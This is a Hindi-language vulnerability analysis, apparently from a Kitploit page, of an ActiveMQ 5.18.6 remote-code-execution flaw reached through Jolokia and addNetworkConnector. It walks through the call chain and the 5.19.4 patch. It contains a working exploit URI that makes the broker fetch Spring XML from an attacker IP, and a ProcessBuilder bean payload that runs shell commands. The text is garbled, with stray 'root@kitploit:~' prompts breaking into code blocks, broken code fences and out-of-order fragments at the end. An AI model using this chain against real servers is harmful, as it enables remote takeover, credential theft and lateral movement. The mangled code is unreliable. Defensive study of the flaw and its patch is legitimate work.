objectNameStr += JMXSupport.encodeObjectNamePart(brokerName); return new ObjectName(objectNameStr); } ``` डिफ़ॉल्ट वितरण में यह ब्रोकर MBean को HTTP-इनवोकेबल Jolokia लक्ष्य के रूप में उजागर करता है, जैसे:```text org.apache.activemq:type=Broker,brokerName=localhost ``` प्रासंगिक घटक जिम्मेदारियाँ निम्नलिखित हैं:
  • BrokerView: JMX-मुखी ब्रोकर प्रबंधन फेसाड। यह addNetworkConnector(String) और addConnector(String) उजागर करता है।
  • BrokerService: ब्रोकर रनटाइम ऑब्जेक्ट। यह एक स्ट्रिंग नेटवर्क कनेक्टर पते को URI में बदलता है और एक DiscoveryNetworkConnector बनाता है।
  • DiscoveryNetworkConnector: रिमोट ब्रोकर सेवा URI प्राप्त करने के लिए एक डिस्कवरी एजेंट का उपयोग करता है, फिर प्रत्येक खोजे गए URI से कनेक्ट होता है।
  • TransportFactory: META-INF/services/org/apache/activemq/transport/<scheme> का उपयोग करके URI स्कीम को ट्रांसपोर्ट फैक्ट्री में हल करता है।
  • VMTransportFactory: vm:// ट्रांसपोर्ट को संभालता है और जब अनुरोधित VM ब्रोकर मौजूद नहीं होता है तो एम्बेडेड ब्रोकर को स्वतः निर्मित कर सकता है।
  • BrokerFactory: का उपयोग करके ब्रोकर कॉन्फ़िगरेशन URI स्कीम को हल करता है।

यह भेद्यता मौजूद है क्योंकि प्रबंधन विधि एक ActiveMQ URI भाषा स्वीकार करती है जो निष्क्रिय डेटा नहीं है। जब URI का मूल्यांकन किया जाता है, तो यह ब्रोकर बना सकता है और Spring XML कॉन्फ़िगरेशन लोड कर सकता है।


भेद्य प्रवेश बिंदु

भेद्य प्रवेश बिंदु है:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); }

root@kitploit:~
MBean इंटरफ़ेस ऑपरेशन को इस रूप में प्रदर्शित करता है:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

हमलावर-नियंत्रित इनपुट discoveryAddress को दिया गया Jolokia exec तर्क है। कमजोर संस्करण में, BrokerView.addNetworkConnector() स्ट्रिंग को BrokerService में पास करने से पहले कोई स्कीम सत्यापन, कोई नेस्टेड URI सत्यापन, और परिवहन-विशिष्ट मापदंडों का कोई फ़िल्टरिंग नहीं करता है।

BrokerService स्ट्रिंग को सीधे URI में परिवर्तित करता है:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception { return addNetworkConnector(new URI(discoveryAddress)); }

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); }

root@kitploit:~
कनेक्टर ऑब्जेक्ट को फिर स्थानीय ब्रोकर URI के साथ कॉन्फ़िगर किया जाता है और ब्रोकर में जोड़ा जाता है:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

नियंत्रण ट्रांसपोर्ट सबसिस्टम तक तब पहुँचता है जब BrokerView कनेक्टर शुरू करता है:```java connector.start();

root@kitploit:~
एक्सप्लॉइट URI के लिए:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

static:(...) एक static discovery connector बनाता है, और भीतरी vm://... URI खोजा गया remote service बन जाता है।


VM Transport विश्लेषण

VM transport निम्न के माध्यम से हल किया जाता है:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm

class=org.apache.activemq.transport.vm.VMTransportFactory

root@kitploit:~
कमजोर विधि है:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

यह विधि vm:// URI को पार्स करती है, क्वेरी पैरामीटर निकालती है, और brokerConfig को ब्रोकर निर्माण URI के रूप में मानती है:```java host = extractHost(location); options = URISupport.parseParameters(location); String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } else { Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker."); brokerURI = new URI("broker://()/" + host + "?" + URISupport.createQueryString(brokerOptions)); }

root@kitploit:~
`create` विकल्प डिफ़ॉल्ट रूप से `true` है:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

यदि अनुरोधित VM होस्ट के लिए कोई ब्रोकर मौजूद नहीं है, तो VMTransportFactory एक बना देता है:```java broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart); if (broker == null) { if (!create) { throw new IOException("Broker named '" + host + "' does not exist."); } try { if (brokerFactoryHandler != null) { broker = brokerFactoryHandler.createBroker(brokerURI); } else { broker = BrokerFactory.createBroker(brokerURI); } broker.start(); MDC.put("activemq.broker", broker.getBrokerName()); } catch (URISyntaxException e) { throw IOExceptionSupport.create(e); } BROKERS.put(host, broker); BrokerRegistry.getInstance().getRegistryMutext().notifyAll(); }

root@kitploit:~
यह ट्रांसपोर्ट-लेवल प्रिविलेज बाउंड्री विफलता है। प्रबंधन प्लेन के माध्यम से प्रदान किया गया URI VM ट्रांसपोर्ट द्वारा एक निर्देश के रूप में मूल्यांकित किया जाता है जो किसी मनमाने कॉन्फ़िगरेशन URI से ब्रोकर बनाने का कार्य करता है।

शेष पैरामीटर सत्यापन ब्रोकर निर्माण के बाद होता है:```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

यह सत्यापन brokerConfig के माध्यम से कोड निष्पादन को नहीं रोक सकता, क्योंकि brokerConfig को पहले ही options से हटा दिया गया है और यह जाँच चलने से पहले ही उपभोग कर लिया गया है।

अपस्ट्रीम डिस्कवरी पथ है:```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri);

root@kitploit:~
`static:(...)` के लिए, `SimpleDiscoveryAgent.start()` प्रत्येक कॉन्फ़िगर किए गए सर्विस को तुरंत एमिट करता है:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

DiscoveryNetworkConnector.onServiceAdd() फिर हमलावर-नियंत्रित आंतरिक URI से जुड़ता है।


ब्रोकर निर्माण प्रवाह

ब्रोकर निर्माण निम्न द्वारा संभाला जाता है:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); }

public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; }

root@kitploit:~
हैंडलर लुकअप स्कीम-आधारित है:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

For xbean: URIs, the service descriptor maps to XBeanBrokerFactory:

xbean: URI के लिए, सेवा वर्णनकर्ता XBeanBrokerFactory पर मैप होता है:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean

class=org.apache.activemq.xbean.XBeanBrokerFactory

root@kitploit:~
सटीक स्टैटिक कॉल फ्लो:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

मुख्य संक्रमण है:```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml

root@kitploit:~
को:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

Spring XBean विश्लेषण

प्रासंगिक XBean फैक्ट्री है:```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler

root@kitploit:~
`createBroker()` `xbean:` URI के scheme-विशिष्ट भाग को निकालता है और यह जाँचने से पहले कि उसमें ब्रोकर है, एक Spring application context बनाता है:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

खतरनाक सिंक createApplicationContext() है:```java protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException { Resource resource = Utils.resourceFromString(uri); LOG.debug("Using " + resource + " from " + uri); try { return new ResourceXmlApplicationContext(resource) { @Override protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) { reader.setValidating(isValidate()); } }; } catch (FatalBeanException errorToLog) { LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog); throw errorToLog; } }

root@kitploit:~
दूरस्थ संसाधन `Utils.resourceFromString()` द्वारा स्वीकार किए जाते हैं:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

इसलिए:```text xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
घटकर रह जाता है:```text
http://192.168.1.32:9999/evil.xml

और इसे Spring UrlResource के रूप में लोड किया जाता है।

reader.setValidating(isValidate()) का कॉल केवल Spring के XmlBeanDefinitionReader में XML सत्यापन मोड को नियंत्रित करता है। यह bean classes, constructor arguments, lifecycle methods, या remote URL resources को प्रतिबंधित नहीं करता है।


Spring बीन इंस्टैंशिएशन विश्लेषण

ActiveMQ 5.18.6 घोषित करता है:```xml 5.3.39 4.25

root@kitploit:~
XBean 4.25 में, `ResourceXmlApplicationContext` अपने कंस्ट्रक्टर से `refresh()` को कॉल करता है:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

यह आपूर्ति किए गए संसाधन से bean परिभाषाएँ लोड करता है:```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); }

root@kitploit:~
Spring का `AbstractApplicationContext.refresh()` फिर बीन फैक्ट्री को आरंभ करता है और नॉन-लज़ी सिंगलटन बीन्स को इंस्टैंशिएट करता है:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

finishBeanFactoryInitialization() कॉल करता है:```java beanFactory.preInstantiateSingletons();

root@kitploit:~
`DefaultListableBeanFactory.preInstantiateSingletons()` प्रत्येक गैर-abstract, singleton, गैर-lazy bean बनाता है:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

बीन प्रारंभीकरण के दौरान, Spring कस्टम init विधियों का आह्वान करता है:```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... }

root@kitploit:~
कस्टम init विधि बीन परिभाषा से निर्धारित की जाती है:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

invokeCustomInitMethod() विधि को रिफ्लेक्टिव रूप से आह्वान करता है:```java ReflectionUtils.makeAccessible(methodToInvoke); methodToInvoke.invoke(bean);

root@kitploit:~
एक दुर्भावनापूर्ण Spring XML बीन जैसे:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

निम्नलिखित व्यवहार का कारण बनता है:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start()

root@kitploit:~
यह `XBeanBrokerFactory.createBroker()` के द्वारा एक `BrokerService` बीन की खोज करके परिणामी संदर्भ को मान्य करने से पहले होता है:```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

ब्रोकर सत्यापन Spring कॉन्टेक्स्ट रिफ्रेश के बाद होता है। परिणामस्वरूप, कोई कॉन्फ़िगरेशन मनमाने init तरीकों को निष्पादित कर सकता है और फिर भी बाद में अमान्य ब्रोकर कॉन्फ़िगरेशन के रूप में अस्वीकार किया जा सकता है।


मूल कारण विश्लेषण

मूल कारण एक दूरस्थ रूप से आह्वान योग्य प्रबंधन ऑपरेशन और विश्वसनीय स्थानीय ब्रोकर बूटस्ट्रैप तंत्रों के बीच एक असुरक्षित आर्किटेक्चरल पुल है।

कमजोर डिज़ाइन में ये गुण हैं:

  • Jolokia ActiveMQ broker प्रबंधन MBeans के लिए JMX exec ऑपरेशनों को उजागर करता है।
  • BrokerView.addNetworkConnector(String) attacker-नियंत्रित URI इनपुट स्वीकार करता है।
  • URI को ActiveMQ नेटवर्किंग कोड में बिना खतरनाक ट्रांसपोर्ट स्कीमों पर management-plane प्रतिबंध के पास किया जाता है।
  • static:(...) डिस्कवरी के कारण संलग्न URI स्वचालित रूप से कनेक्ट हो जाता है जब नेटवर्क कनेक्टर शुरू होता है।
  • vm:// ट्रांसपोर्ट केवल in-VM ट्रांसपोर्ट नहीं है; यह नामित VM ब्रोकर अनुपस्थित होने पर ब्रोकर को स्वतः बनाने का भी समर्थन करता है।
  • VMTransportFactory brokerConfig को broker factory URI के रूप में मानता है और इसे BrokerFactory.createBroker() को अग्रेषित करता है।
  • BrokerFactory XBeanBrokerFactory के माध्यम से xbean: URI का समर्थन करता है।
  • XBeanBrokerFactory URL संसाधनों को स्वीकार करता है और एक Spring बनाता है।

यह केवल अलगाव में "अनुचित इनपुट सत्यापन" नहीं है। कमजोर व्यवहार एक runtime JMX ऑपरेशन के माध्यम से configuration-क्षमता वाले URI इंटरप्रेटर को उजागर करने और उस इंटरप्रेटर को Spring bean lifecycle निष्पादन तक पहुँचने की अनुमति देने के कारण होता है।

सटीक विफलता यह है कि management API discoveryAddress को एक कनेक्टर पते के रूप में मानता है, लेकिन डाउनस्ट्रीम ट्रांसपोर्ट स्टैक इसे निष्पादन योग्य कॉन्फ़िगरेशन के रूप में मानता है। एक्सप्लॉइट पथ में, स्ट्रिंग का मूल्यांकन इस प्रकार किया जाता है:```text network connector URI -> discovery service URI -> VM transport URI -> broker creation URI -> XBean Spring resource URI -> Spring bean definitions -> Java object lifecycle methods

root@kitploit:~
सत्यापन बहुत देर से होता है क्योंकि `XBeanBrokerFactory` में एकमात्र ब्रोकर-कॉन्फ़िगरेशन सत्यापन इसके बाद होता है:```java
new ResourceXmlApplicationContext(resource)

और वह कंस्ट्रक्टर निष्पादित करता है:```text refresh() -> preInstantiateSingletons() -> init-method invocation

root@kitploit:~
जब तक ActiveMQ यह निर्धारित करता है कि XML में कोई मान्य `BrokerService` नहीं है, तब तक हमलावर-नियंत्रित Spring बीन्स पहले ही निष्पादित हो चुके हो सकते हैं।

---

### पैच विश्लेषण

प्रासंगिक diff की समीक्षा इसके साथ की गई:```bash
git diff activemq-5.18.6..activemq-5.19.4

सुरक्षा-संबंधी परिवर्तन निम्नलिखित में है:```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java

root@kitploit:~
5.18.6 में, `addNetworkConnector()` ने सीधे स्ट्रिंग को आगे भेजा:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

5.19.4 में, BrokerService को कॉल करने से पहले सत्यापन जोड़ा गया था:```diff public String addNetworkConnector(String discoveryAddress) throws Exception {

  • // Verify VM transport is not used
  • validateAllowedUrl(discoveryAddress); NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
root@kitploit:~
वही सत्यापन `addConnector()` में जोड़ा गया था:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

The validator rejects vm transport schemes:```java private static void validateAllowedUrl(String uriString) throws URISyntaxException { validateAllowedUri(new URI(uriString), 0); }

// Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); }

root@kitploit:~
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

}

// We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } }

root@kitploit:~
पैच किया गया निष्पादन पथ बन जाता है:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

यह अनुरोध तक पहुँचने से पहले exploit को रोकता है:```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh()

root@kitploit:~
यह पैच VM ट्रांसपोर्ट सपोर्ट को वैश्विक रूप से हटाता नहीं है। यह JMX-सामना करने वाले `BrokerView` कनेक्टर निर्माण विधियों के माध्यम से `vm://` के उपयोग को प्रतिबंधित करता है। आंतरिक या विश्वसनीय कोड पथ जो VM ट्रांसपोर्ट का उपयोग करते हैं, अभी भी मौजूद हैं।

`VMTransportFactory.doCompositeConnect()` में 5.18.6 और 5.19.4 के बीच कोई सुरक्षा-संबंधित परिवर्तन नहीं किया गया था। `brokerConfig` व्यवहार वैसा ही बना रहता है:```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

इस diff में XBeanBrokerFactory.createApplicationContext() में कोई सुरक्षा-संबंधी परिवर्तन नहीं किया गया। Remote URL संसाधन और Spring ResourceXmlApplicationContext का व्यवहार विश्वसनीय broker कॉन्फ़िगरेशन लोडिंग के लिए उपलब्ध रहते हैं।

BrokerFactory एक raw FactoryFinder से एक typed FactoryFinder<BrokerFactoryHandler> में बदल गया:```diff

  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
  • root@kitploit:~
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
    
  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER
  • root@kitploit:~
    = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
    
  • root@kitploit:~
    BrokerFactoryHandler.class, null);
    
root@kitploit:~
यह टाइप-सुरक्षा सफाई है, RCE शमन नहीं। `XBeanBrokerFactory` के लिए स्कीम-आधारित डिस्पैच बरकरार है।

`BrokerService` ने कुछ पथों में कनेक्टर स्टार्टअप के लिए `isAutoStart()` जाँचें जोड़ी हैं:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

यह Jolokia-to-RCE पथ के लिए प्राथमिक सुधार नहीं है। प्राथमिक शमन उपाय BrokerView में vm:// का पूर्व-प्रेषण अस्वीकरण है।

पैच व्यवहार सारांश:

  • 5.18.6: BrokerView.addNetworkConnector() static:(vm://...?brokerConfig=xbean:http://...) स्वीकार करता है और इसे डाउनस्ट्रीम भेज देता है।
  • 5.19.4: BrokerView.addNetworkConnector() कनेक्टर निर्माण से पहले प्रदान किए गए URI को मान्य करता है और नेस्टेड vm:// उपयोग को अस्वीकार कर देता है।
  • 5.18.6: VMTransportFactory JMX पथ से पहुँचे जाने वाले हमलावर-नियंत्रित brokerConfig का उपभोग कर सकता है।
  • 5.19.4: VMTransportFactory अब भी brokerConfig का समर्थन करता है, लेकिन उजागर JMX पथ VM ट्रांसपोर्ट रिज़ॉल्यूशन से पहले अवरुद्ध कर दिया जाता है।

स्थैतिक विश्लेषण निष्कर्ष

ActiveMQ Classic 5.18.6 में सटीक भेद्य कोड पथ निम्न है:```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start()

root@kitploit:~
Exploitation संभव है क्योंकि ActiveMQ एक प्रबंधन ऑपरेशन उजागर करता है जो एक connector URI स्वीकार करता है, लेकिन डाउनस्ट्रीम transport कार्यान्वयन उस URI को broker निर्माण कॉन्फ़िगरेशन के रूप में व्याख्या कर सकता है। `brokerConfig` पैरामीटर transport कनेक्शन लॉजिक से broker factory लॉजिक में जाता है। `xbean:` मान के साथ, यह फिर से Spring XML प्रोसेसिंग में चला जाता है।

Spring execution primitive कोई अलग deserialization बग नहीं है। यह सामान्य Spring lifecycle व्यवहार है: एक non-lazy singleton bean, context refresh के दौरान instantiate होता है, और उसका कॉन्फ़िगर किया गया `init-method` invoke होता है। इसलिए, `init-method="start"` वाला एक `java.lang.ProcessBuilder` bean, application context initialization के दौरान एक process निष्पादित करता है।

Validation विफलता एक ordering दोष है। ActiveMQ यह सत्यापित करता है कि क्या XBean कॉन्फ़िगरेशन में एक उपयोग योग्य `BrokerService` है, केवल `ResourceXmlApplicationContext` द्वारा XML लोड करने और singleton beans को initialize करने के बाद। Refresh के बाद broker कॉन्फ़िगरेशन को अस्वीकार करने से bean lifecycle methods के दुष्प्रभाव पूर्ववत नहीं होते।

5.19.4 पैच इस विशिष्ट पथ को कम करता है, connector निर्माण से पहले `BrokerView` में URI validation जोड़कर और JMX प्रबंधन सतह से `vm://` transport उपयोग को अस्वीकार करके। पैच `VMTransportFactory.doCompositeConnect()` के उजागर पथ को अवरुद्ध करता है; यह विश्वसनीय आंतरिक कॉन्फ़िगरेशन पथों से `brokerConfig`, `xbean:` समर्थन, या Spring XBean लोडिंग को नहीं हटाता।
टूल डाउनलोड करें
सुविधादुरुपयोग
addNetworkConnector()हमलावर-नियंत्रित URI स्वीकारें
vm:// transportगतिशील ब्रोकर निर्माण ट्रिगर करें
brokerConfig=मनमाना ब्रोकर कॉन्फ़िगरेशन लोड करें
xbean:Spring XML लोडर को आह्वान करें
दूरस्थ HTTP URLहमलावर-नियंत्रित XML प्राप्त करें
प्रभावविवरण
रिमोट कोड निष्पादनमनमाना कमांड निष्पादन
कंटेनर समझौताActiveMQ कंटेनर का पूर्ण समझौता
क्रेडेंशियल चोरीब्रोकर क्रेडेंशियल और रहस्यों तक पहुंच
पार्श्व गतिविधिआस-पास के सिस्टम में पिवटिंग
स्थायित्वदुर्भावनापूर्ण नेटवर्क कनेक्टरों का निर्माण
डेटा एक्सपोज़रब्रोकर संदेशों और कतारों तक पहुंच
META-INF/services/org/apache/activemq/broker/<scheme>
  • XBeanBrokerFactory: xbean: ब्रोकर कॉन्फ़िगरेशन URI को संभालता है और एक Spring/XBean एप्लिकेशन कॉन्टेक्स्ट बनाता है।
  • ResourceXmlApplicationContext: XML संसाधन को लोड करता है और Spring बीन फैक्ट्री रिफ्रेश करता है, जिसमें eager singleton निर्माण शामिल है।
  • ResourceXmlApplicationContext
  • Spring eager रूप से singleton beans को इंस्टैंशिएट करता है और कॉन्टेक्स्ट रिफ्रेश के दौरान कस्टम init तरीकों को लागू करता है।
  • ActiveMQ यह जाँचता है कि क्या कॉन्टेक्स्ट में एक वैध BrokerService है, केवल Spring द्वारा कॉन्टेक्स्ट को पहले ही प्रारंभ करने के बाद।